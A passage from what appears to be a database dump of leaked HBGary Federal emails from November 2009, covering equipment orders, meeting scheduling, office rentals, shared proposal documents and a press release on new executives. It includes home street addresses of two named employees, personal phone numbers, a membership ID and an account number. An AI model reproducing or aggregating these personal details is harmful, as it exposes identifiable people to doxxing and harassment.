&lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am\r\nworking on getting your computers &nbsp;now.&nbsp; I will get back to as soon as\r\nI hear back from my supplier.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn\r\nBuonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGARY,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\ntel:&nbsp;&nbsp;\r\n916-459-4727&nbsp; ext.&nbsp; 101\r\n\r\nfax:&nbsp;\r\n916-481-1460\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 2:14 PM\r\nTo: deeann@hbgary.com\r\nCc: Ted Vera; Penny Leavy\r\nSubject: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n2\r\nof each\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2\r\nMacbook Pros with the following Specs:\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; 2.66GHz Intel Core 2 Duo \r\n\r\n·&nbsp; 8GB 1066MHz DDR3 SDRAM - 2x4GB \r\n\r\n·&nbsp; 320GB Serial ATA Drive @ 5400 rpm \r\n\r\n·&nbsp; SuperDrive 8x (DVD±R DL/DVD±RW/CD-RW)\r\n\r\n\r\n·&nbsp; MacBook Pro 15-inch Antiglare\r\nWidescreen Display \r\n\r\n·&nbsp; None \r\n\r\n·&nbsp; Backlit Keyboard (English) / User\'s\r\nGuide\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; Apple MagSafe Airline Power Adapter\r\n\r\n·&nbsp; Apple Remote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2\r\npico projectors:\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.aaxatech.com/products/p2_pico_projector.htm\r\n\r\n\r\n\r\n\r\n\r\nNeed\r\nthis cable as well, from accessories page:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAAXA P2 iPod A/V Cable\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCarries audio/video signals\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Full VGA\r\n(640x480) resolution\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Works\r\nwith iPod, iPhone, iTouch\r\n\r\nAdditional Product Info&nbsp;\r\n\r\nMSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarons\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n1223\r\nPotomac School Rd.\r\n\r\n\r\n\r\n\r\n\r\nMclean\r\nVA 22101\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeds\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n874\r\nLegend Oak Dr.\r\n\r\n\r\n\r\nFountain\r\nCO 80817\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nI get business cards this week? &nbsp;I have a conference I would like to have\r\nthem for next tues or wed.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal\r\n\r\n\r\n\r\n\r\n\r\nAddress:\r\n(what do the other DC folks use?)\r\n\r\n\r\n\r\n\r\n\r\nPhone:\r\nI think Penny was going to get a number for me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12512,'aaron_hbgary_com/12512.html'),(76,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999635.M515844P3547Q77.eml','','','-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',14297,'aaron_hbgary_com/14297.html'),(77,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999635.M777184P3547Q78.eml','\"Bob Slapnik\" <bob@hbgary.com>','Share','Bob,I created a share for you and sent you a link.  There is an upload button in the top left.  Let me know if you have any issues.-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',5559,'aaron_hbgary_com/5559.html'),(78,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999635.M960194P3547Q79.eml','\"Ted Vera\" <tedvera@me.com>','Bill varner','Done.  He took it great.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1414,'aaron_hbgary_com/1414.html'),(79,'2009-11-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999635.M98582P3547Q75.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: laptops and projectors for Ted and Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nMy supplier just called he does not supply Apple.  I have a call\r\nin with a different supplier,  I hope to hear from them soon.  Sorry for  the inconvenience. \r\n \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGARY, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\ntel:   916-459-4727  ext.  101\r\n\r\nfax:  916-481-1460\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Monday, November 23, 2009 2:36 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThank you Deeann.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 5:34 PM, &quot;DeeAnn Buonaccorsi&quot; &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am\r\nworking on getting your computers &nbsp;now.&nbsp; I will get back to as soon\r\nas I hear back from my supplier.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn\r\nBuonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGARY,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\ntel:&nbsp;&nbsp;\r\n916-459-4727&nbsp; ext.&nbsp; 101\r\n\r\nfax:&nbsp;\r\n916-481-1460\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 2:14 PM\r\nTo: deeann@hbgary.com\r\nCc: Ted Vera; Penny Leavy\r\nSubject: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n2\r\nof each\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2\r\nMacbook Pros with the following Specs:\r\n\r\n\r\n\r\n\r\n\r\n·&nbsp; 2.66GHz Intel Core 2 Duo \r\n\r\n·&nbsp; 8GB 1066MHz DDR3 SDRAM - 2x4GB \r\n\r\n·&nbsp; 320GB Serial ATA Drive @ 5400 rpm \r\n\r\n·&nbsp; SuperDrive 8x (DVD±R DL/DVD±RW/CD-RW)\r\n\r\n\r\n·&nbsp; MacBook Pro 15-inch Antiglare\r\nWidescreen Display \r\n\r\n·&nbsp; None \r\n\r\n·&nbsp; Backlit Keyboard (English) / User\'s\r\nGuide\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; None\r\n\r\n·&nbsp; Apple MagSafe Airline Power Adapter\r\n\r\n·&nbsp; Apple Remote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2\r\npico projectors:\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.aaxatech.com/products/p2_pico_projector.htm\r\n\r\n\r\n\r\n\r\n\r\nNeed\r\nthis cable as well, from accessories page:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAAXA P2 iPod A/V Cable\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCarries audio/video signals\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Full VGA\r\n(640x480) resolution\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Works\r\nwith iPod, iPhone, iTouch\r\n\r\nAdditional Product Info&nbsp;\r\n\r\nMSRP:&nbsp;$25.00&nbsp;&nbsp;$19.99&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAarons\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n1223\r\nPotomac School Rd.\r\n\r\n\r\n\r\n\r\n\r\nMclean\r\nVA 22101\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeds\r\nAddress:\r\n\r\n\r\n\r\n\r\n\r\n874\r\nLegend Oak Dr.\r\n\r\n\r\n\r\nFountain\r\nCO 80817\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nI get business cards this week? &nbsp;I have a conference I would like to have\r\nthem for next tues or wed.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal\r\n\r\n\r\n\r\n\r\n\r\nAddress:\r\n(what do the other DC folks use?)\r\n\r\n\r\n\r\n\r\n\r\nPhone:\r\nI think Penny was going to get a number for me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11033,'aaron_hbgary_com/11033.html'),(80,'2009-11-24','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999636.M145353P3547Q80.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian Masterson)','\r\n\r\n\r\nAccepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian Masterson)\r\n\r\n\r\n\r\n\r\nMay be a little past 11.\r\n\r\n\r\n\r\n',1421,'aaron_hbgary_com/1421.html'),(81,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999636.M331780P3547Q81.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Accepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian 	Masterson)','Sure. I think u said noon.  I messed up the invite.\r\n\r\n From my iPhone\r\n\r\nOn Nov 24, 2009, at 6:50 PM, \"Masterson, Brian (Xetron)\"\r\n wrote:\r\n\r\n> \r\n',7775,'aaron_hbgary_com/7775.html'),(82,'2009-11-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999636.M527338P3547Q82.eml','aaron@hbgary.com','Re: Accepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian Masterson)','\r\n\r\n\r\n\r\n\r\nRe: Accepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian Masterson)\r\n\r\n\r\n\r\n\r\nCEO huh and can\'t schedule a mtg.&nbsp; Scary...&nbsp; :)\r\n\r\nOf course I need help spelling IO\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Nov 24 18:02:19 2009\r\nSubject: Re: Accepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian Masterson)\r\n\r\nSure. I think u said noon.&nbsp; I messed up the invite.\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Nov 24, 2009, at 6:50 PM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n',16471,'aaron_hbgary_com/16471.html'),(83,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999636.M754590P3547Q83.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Accepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian 	Masterson)','I thought that was a requirement for being a CEOFrom my iPhoneOn Nov 24, 2009, at 7:04 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCEO huh and can&#39;t schedule a mtg.  Scary...  :)\r\n\r\nOf course I need help spelling IO\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Nov 24 18:02:19 2009\r\nSubject: Re: Accepted: Invitation: Lunch @ Mon Nov 30 11am - 12pm (Brian Masterson)\r\n\r\nSure. I think u said noon.  I messed up the invite.\r\n\r\n From my iPhone\r\n\r\nOn Nov 24, 2009, at 6:50 PM, &quot;Masterson, Brian (Xetron)&quot;\r\n&lt;Brian.Masterson@ngc.com\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n',1030,'aaron_hbgary_com/1030.html'),(84,'2009-11-25','\"AFCEA International\" <services@afcea.org>','/aaron@hbgary.com/new/1296999636.M939543P3547Q84.eml','aaron@hbgary.com','AFCEA Membership Application Confirmation','AFCEA Internationalbody, p { font-family: arial,helvetica; font-size=12px;}\r\nWelcome Aaron Barr:We have received your application and payment for membership in the association. Thank you!  We are delighted that you have chosen AFCEA.Your welcome letter and membership card will arrive to you by mail in approximately two weeks time.  Please allow additional time if your mailing address is outside of the United States.Your Membership ID number is 55146240.  This number is being provided to you in the event that you need to have it for a Chapter or Headquarters function before you receive your card.  In addition, you will need the membership number to access your record in the AFCEA Membership Portal, where you can make updates to your profile and check out great member benefits.  Password instructions can be found on the right side of the login screen.  Please visit the Portal soon at https://www.afcea.org/portal/.  Information for chapters, events, courses, publications, and association happenings can be found at www.afcea.org. If we can be of assistance to you, please contact one of our member service representatives by phone at 800-336-4583, ext. 6158, toll free in the US and Canada, 703-631-6158 from the Washington, D.C. area, + 1-703-631-6158, international, or by email at services@afcea.org.Again, welcome to AFCEA.  It will be our privilege to serve you.Sincerely,AFCEA International\r\n\r\n\r\n\r\n\r\nAFCEA presents a new way to bring government and industry together with its SOLUTIONS Series: \r\nGo to   http://www.afcea.org/events/solutions/\r\n',15873,'aaron_hbgary_com/15873.html'),(85,'2009-11-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999637.M142530P3547Q85.eml','\"Barr Aaron\" <aaron@hbgary.com>','Regus','Something like this would probably work out fine.http://www.regus.com/businessworld/default.html-- Ted H. VeraPresident | COO\r\nHBGary Federal, Inc.719-237-8623\r\n\r\n',618,'aaron_hbgary_com/618.html'),(86,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999637.M340440P3547Q86.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Regus','Are we getting webex accounts?From my iPhoneOn Nov 24, 2009, at 8:39 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSomething like this would probably work out fine.http://www.regus.com/businessworld/default.html\r\n-- Ted H. VeraPresident | COO\r\nHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n',3978,'aaron_hbgary_com/3978.html'),(87,'2009-11-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999637.M560677P3547Q87.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Regus','yes, penny said we&#39;d get them. i&#39;ll ping her on it.On Tue, Nov 24, 2009 at 6:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAre we getting webex accounts?From my iPhone\r\nOn Nov 24, 2009, at 8:39 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSomething like this would probably work out fine.http://www.regus.com/businessworld/default.html\r\n\r\n-- Ted H. VeraPresident | COO\r\nHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',10552,'aaron_hbgary_com/10552.html'),(88,'2009-11-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999637.M753097P3547Q88.eml','rbagby@ravenwing.com','Right address','Hey Ryan,\r\n\r\nNot sure if this is the right address for you.  If it is shoot me a  \r\nnote.  I am no longer with Northrop.  Recently took the position as  \r\nCEO of HBGary Federal.  I wanted to talk to you about the Customer  \r\ncontract recompete.\r\n\r\nThanks,\r\nAaron\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',2045,'aaron_hbgary_com/2045.html'),(89,'2009-11-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999637.M927758P3547Q89.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Office / Conf room','Excellent.  They have facilities in the Springs.---------- Forwarded message ----------From: Bob Slapnik &lt;bob@hbgary.com&gt;\r\nDate: Tue, Nov 24, 2009 at 8:10 PMSubject: RE: Office / Conf roomTo: Ted Vera &lt;ted@hbgary.com&gt;Ted,\r\n\r\nGo to http://www.hq.com/.  Yes, they have offices in Colorado Springs.\r\nBusiness World Membership number:  100-566940-0001\r\nWhen I reserved an office for today they didn&#39;t recognize the account\r\nnumber, but they were able to find HBGary and my name.  We may need to add\r\nyou and Aaron to the list.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nPhone 301-652-8885 x104  |  Mobile 240-481-1419\r\nbob@hbgary.com  |  www.hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, November 24, 2009 4:18 PM\r\nTo: Slapnik Bob\r\nSubject: Office / Conf room\r\n\r\nWho provides your virtual/part-time offices? Do they have facilities\r\nin Colorado Springs?\r\n\r\nI may rent a Conf room next week from Regis offices for a meeting with\r\nArstrat.\r\n\r\nTed\r\n________________\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal Inc.\r\n719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',9758,'aaron_hbgary_com/9758.html'),(90,'2009-11-25','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','/aaron@hbgary.com/new/1296999638.M111623P3547Q90.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Right address','Hey Aaron, Nice to hear from you. I\'d noticed I hadn\'t seen you around in a while; congratulations on the move.  I\'m actually out of town for the rest of the week, but would be happy to meet up next week if possible.  Right now anytime Thursday looks good for me.  Let me know if that might work with your schedule. \r\n--------------------------\r\nThanks,\r\nRyan \r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Bagby, Ryan\r\nSent: Tue Nov 24 21:04:23 2009\nSubject: Right address\r\n\r\nHey Ryan,\r\n\r\nNot sure if this is the right address for you.  If it is shoot me a  \r\nnote.  I am no longer with Northrop.  Recently took the position as  \r\nCEO of HBGary Federal.  I wanted to talk to you about the Customer  \r\ncontract recompete.\r\n\r\nThanks,\r\nAaron\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',11901,'aaron_hbgary_com/11901.html'),(91,'2009-11-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999638.M294846P3547Q91.eml','\"Barr Aaron\" <aaron@hbgary.com>','Bob Files Folder','Just got off the phone with Bob - I walked him through uploading the files.  Can you please share that folder out to me?Thanks!Ted-- Ted H. VeraPresident | COO\r\nHBGary Federal, Inc.719-237-8623\r\n\r\n',16229,'aaron_hbgary_com/16229.html'),(92,'2009-11-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999642.M467084P3547Q92.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: here is the threat analysis PPT','\r\n---------- Forwarded message ----------From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: Wed, Nov 18, 2009 at 2:09 PM\r\nSubject: here is the threat analysis PPTTo: Ted Vera &lt;tedvera@me.com&gt;\r\nHere.  There are alot of components to this presentation - I was using it to work a &quot;big vision&quot; for HBGary Federal.  Just the analysis and DDNA tracing of threat actors is enough to get your Army friend excited I think - but I also think you and Aaron could really take this far.\r\n\r\n \r\n-Greg\r\n',12495,'aaron_hbgary_com/12495.html'),(93,'2009-11-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999643.M286995P3547Q94.eml','federal@hbgary.com','Test','This is a test.\r\n\r\nThis should go to Ted & Aaron.\r\n\r\n/End Test\r\n',16083,'aaron_hbgary_com/16083.html'),(94,'2009-11-25','bob@hbgary.com','/aaron@hbgary.com/new/1296999643.M57256P3547Q93.eml','aaron@hbgary.com','SBIR PHASE III (5), SBIR PHASE III (5) + 11 more items','I\'ve shared some documents with you:\r\n\r\nSBIR PHASE III (5)\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMzNkZGNzZmtkYw&hl=en&invite=CL6ClvMF\r\n\r\nSBIR PHASE III (5)\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMzJjNHE1NW5ncA&hl=en&invite=CO-Km_AD\r\n\r\nSBIR PHASE III (5)\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMzJnbnAzOTZkNw&hl=en&invite=COT76fwF\r\n\r\nKernel Virtual Machine SBIR Phase II proposal\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMjdncjY1M3hxaA&hl=en&invite=CIbZ8_wH\r\n\r\nKernel Virtual Machine SBIR Phase II proposal\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMjJmeHN6cjNjeA&hl=en&invite=CN-ZlYcB\r\n\r\nEval Software Email\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMzRndmo2azRkNg&hl=en&invite=CJGszoYE\r\n\r\nHBGary RK Platform\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMjFndjU3NTh2NA&hl=en&invite=CP6Jmc8E\r\n\r\nHBGary Past Work\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMjBneDUzendkbQ&hl=en&invite=CNHUx4QG\r\n\r\nHBGary Past Work\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMTlkZms0emNkdw&hl=en&invite=CMb_imE\r\n\r\nHBGary Past Work\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMTlqZDZ0dHp6Mg&hl=en&invite=COWjyd0E\r\n\r\nHBGary Active Defense Short Description (2)\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMTdmc3N3cDRjZA&hl=en&invite=CMbno7gC\r\n\r\nHBGary Active Defense Short Description (2)\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMTVjZDVwMzU4eA&hl=en&invite=CMbFmZQF\r\n\r\nHBGary Active Defense Short Description (2)\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0AUMzmjND6x9nZGNjd3BucDhfMTVmc3pjdGZkag&hl=en&invite=CLrWn8oH\r\n\r\nThey\'re not attachments -- they\'re stored online at Google Docs. To open  \r\nthese documents, just click the links above.\r\n\r\nHere are some of the files.  I will send the rest also\r\n',659,'aaron_hbgary_com/659.html'),(95,'2009-11-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999644.M117424P3547Q95.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!','I just forwarded Aaron\'s bio and photo. &nbsp;We\'ll send you the rest tomorrow. &nbsp;Regards,TedOn Nov 23, 2009, at 12:20 PM, Karen Burke wrote:Great Ted. Ideally, I\'d like to get them by tomorrow (Tuesday) so we could possibly distribute a final release next Monday November 30th, but any time over the next few days would be fine. I know it is a short week and everyone is trying to get a lot done before Thanksgiving! Best, Karen&nbsp;\r\n&nbsp;\r\n--- On Mon, 11/23/09, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nFrom: Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"Penny Hoglund\" &lt;penny@hbgary.com&gt;Cc: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;, \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 10:35 AM\r\nHi Karen,\r\n\r\nAaron and I are drafting bios, business objectives and will dig up headshots for you. &nbsp;What is the suspense date you need these by?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 11:31 AM, Penny Hoglund wrote:\r\n\r\n\r\n\r\nKaren,\r\n&nbsp;\r\nI’m copying Ted and Aaron, you guys coordinate\r\n&nbsp;\r\n\r\nFrom:&nbsp;Karen Burke [mailto:karenmaryburke@yahoo.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 9:44 AMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nGreat Penny. I can draft release for possible release on Monday November 30th. Do we have bios (and headshots) of both execs? If not, I\'m sure I can find online somewhere. Also, I think we need to use release to highlight HBGary Federal business objectives -- do you have a few bulletpoint that you could send? Thanks, Karen&nbsp;--- On&nbsp;Mon, 11/23/09, Penny Hoglund&nbsp;&lt;penny@hbgary.com&gt;&nbsp;wrote:From: Penny Hoglund &lt;penny@hbgary.com&gt;Subject: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 9:29 AM\r\n\r\n\r\nWe need a press release for this\r\n&nbsp;\r\n\r\nFrom:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 8:14 AMTo:&nbsp;all@hbgary.comSubject:&nbsp;Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n&nbsp;I am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.&nbsp; They are very experienced and most recently built a $10 million/year business at Northrop Grumman.&nbsp; Both have won and lead multi-million dollar development projects and managed substantial teams.&nbsp; We have known Aaron and Ted for more than 5 years.&nbsp; These two are A+ players in the DoD contracting space and are&nbsp;able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.&nbsp; This reflects extremely well on our company.&nbsp; \"A\" players attract \"A\" players.&nbsp;\r\n Aaron will 